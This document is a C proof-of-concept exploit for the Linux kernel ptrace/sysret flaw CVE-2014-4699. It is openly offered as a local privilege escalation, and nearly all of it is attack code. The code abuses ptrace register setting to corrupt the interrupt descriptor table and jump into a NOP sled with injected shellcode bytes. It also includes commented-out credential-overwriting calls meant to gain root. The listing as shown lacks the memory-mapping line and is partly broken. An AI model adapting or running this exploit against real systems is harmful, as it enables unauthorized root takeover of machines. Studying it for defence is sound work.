Linux Kernel ptrace/sysret - Local Privilege Escalation

/**

* CVE-2014-4699 ptrace/sysret PoC

* by Vitaly Nikolenko

* vnik@hashcrack.org

*

* > gcc -O2 poc_v0.c

*

* This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the

* following will trigger the #GP in sysret and overwrite the #PF handler so we

* can land to our NOP sled mapped at 0x80000000.

* However, once landed, the IDT will be trashed. We can either attempt to

* restore it (then escalate privileges and execute our shellcode) or find

* something else to overwrite that would transfer exec flow to our controlled

* user-space address. Since 3.10.something, IDT is read-only anyway. If you

* have any ideas, let me know.

*/

#include <stdio.h>

#include <stdint.h>

#include <assert.h>

#include <sys/ptrace.h>

#include <sys/types.h>

#include <sys/wait.h>

#include <sys/syscall.h>

#include <sys/user.h>

#include <unistd.h>

#include <sys/mman.h>

#include <errno.h>

#define SIZE 0x10000000

typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);

typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);

unsigned long __user_cs;

unsigned long __user_ss;

unsigned long __user_rflags;

void __attribute__((regparm(3))) payload() {

uint32_t *fixptr = (void*)0xffffffff81dd70e8;

// restore the #PF handler

*fixptr = -1;

//commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;

//prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;

//commit_creds(prepare_kernel_cred((uint64_t)NULL));

//__asm__ volatile ("swapgs\n\t"

// "...");

}

int main() {

struct user_regs_struct regs;

uint8_t *trampoline, *tmp;

int status;

struct {

uint16_t limit;

uint64_t addr;

} __attribute__((packed)) idt;

// MAP_POPULATE so we don't trigger extra #PF

assert(trampoline == 0x80000000);

memset(trampoline, 0x90, SIZE);

tmp = trampoline;

tmp += SIZE-1024;

memcpy(tmp, &payload, 1024);

memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);

pid_t chld;

if ((chld = fork()) < 0) {

perror("fork");

exit(1);

}

if (chld == 0) {

if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {

perror("PTRACE_TRACEME");

exit(1);

}

raise(SIGSTOP);

fork();

return 0;

}

asm volatile("sidt %0" : "=m" (idt));

printf("IDT addr = 0x%lx\n", idt.addr);

waitpid(chld, &status, 0);

ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);

ptrace(PTRACE_CONT, chld, 0, 0);

waitpid(chld, &status, 0);

ptrace(PTRACE_GETREGS, chld, NULL, &regs);

regs.rdi = 0x0000000000000000;

regs.rip = 0x8fffffffffffffff;

regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;

// attempt to restore the IDT

regs.rdi = 0x0000000000000000;

regs.rsi = 0x81658e000010cbd0;

regs.rdx = 0x00000000ffffffff;

regs.rcx = 0x81658e000010cba0;

regs.rax = 0x00000000ffffffff;

regs.r8 = 0x81658e010010cb00;

regs.r9 = 0x00000000ffffffff;

regs.r10 = 0x81668e0000106b10;

regs.r11 = 0x00000000ffffffff;

regs.rbx = 0x81668e0000106ac0;

regs.rbp = 0x00000000ffffffff;

regs.r12 = 0x81668e0000106ac0;

regs.r13 = 0x00000000ffffffff;

regs.r14 = 0x81668e0200106a90;

regs.r15 = 0x00000000ffffffff;

ptrace(PTRACE_SETREGS, chld, NULL, &regs);

ptrace(PTRACE_CONT, chld, 0, 0);

ptrace(PTRACE_DETACH, chld, 0, 0);

}